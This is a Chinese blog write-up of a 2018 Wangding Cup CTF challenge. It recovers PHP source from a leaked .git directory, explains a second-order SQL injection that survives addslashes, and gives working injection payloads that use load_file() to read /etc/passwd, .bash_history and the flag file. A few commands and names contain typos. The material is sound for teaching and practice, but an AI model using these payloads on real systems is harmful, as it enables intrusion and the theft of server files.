网鼎杯2018 comment

本次知识点

git恢复文件

如何判断是否可以恢复?

看是否有commit文件,如果没有,则需要恢复,像这题:
在这里插入图片描述
题目提示我们没有commit,即需要git恢复。

脚本及使用

我们利用王一航大佬的脚本进行恢复。
首先,安装好脚本,然后打开控制台,输入

python GitHacker.py http://ffd1ae28-f0e2-41c3-9522-ce58080f91e6.node3.buuoj.cn/.git/#链接为有git泄露的链接

然后进入新增的目录,输入

git log --relog

会出现它的更改历史
在这里插入图片描述
复制下箭头所指的commit,输入

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

然后再查看文件,即可看到完整代码如下:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

二次注入

我们来看下面的代码:

$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

$category = mysql_fetch_array($result)['category'];

可以看到,在do=write的时候我们对categroy等变量进行了转义,每个引号、反斜杠等符号前都会加上一个反斜杠(数据库会自动清除反斜杠)。而在do=comment的时候会直接从数据库中对categroy进行调用,没有任何过滤,这就导致了二次注入。

比如我POST$categroy=123‘//,虽然它进行了转义,但数据库里的数据仍然是123",再到sql语句调用时,就会变成

$sql = "insert into comment
            set category = '123’//',"

此时依然可以到达注入的目的。

SQL读取文件

用load_file()函数进行读取,值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

.bash_history

.bash_history为在unix/linux系统下保存历史命令的文件,在用户的根目录下,即~/处。

.DS_Store文件泄露

文件泄露,有一个下载至本地的脚本,不过这题用不上。

开始做题

首先,拿到源码,由于我们的login!=yes,所以会自动跳转到登陆界面。
在这里插入图片描述
图中提示我们账号和密码,密码的最后三位可以爆破出来,为:666。
登陆进去之后,就可以开始构造categroy了。
值得注意的是,这里的sql语句为四行,而#只能注释一行,所以要用/**/。
我们发帖在categroy处填入categroy=aaa',content=database(),/*,剩下的随便填,然后进入帖子,提交评论*/#。此时我们的语句变成了这样:

$sql = "insert into comment
            set category = 'aaa',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

结果为:
在这里插入图片描述
成功注入。
然后我们利用load_file()函数读取文件:
payload:123',content=(select( load_file('/etc/passwd'))),/*
在这里插入图片描述
看到文件位置之后再读取.bash_histroy文件
在这里插入图片描述
看到在/temp/html有一个.DS_Store文件,hex编码读取文件并解码后:
在这里插入图片描述
可以看到html文件夹下所有文件的名字。
读取flag文件即可得到flag。
payload:aaa',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
参考文章:
https://www.cnblogs.com/Tkitn/p/11649255.html

发布了37 篇原创文章 · 获赞 2 · 访问量 1416

猜你喜欢

转载自blog.csdn.net/weixin_44377940/article/details/104991188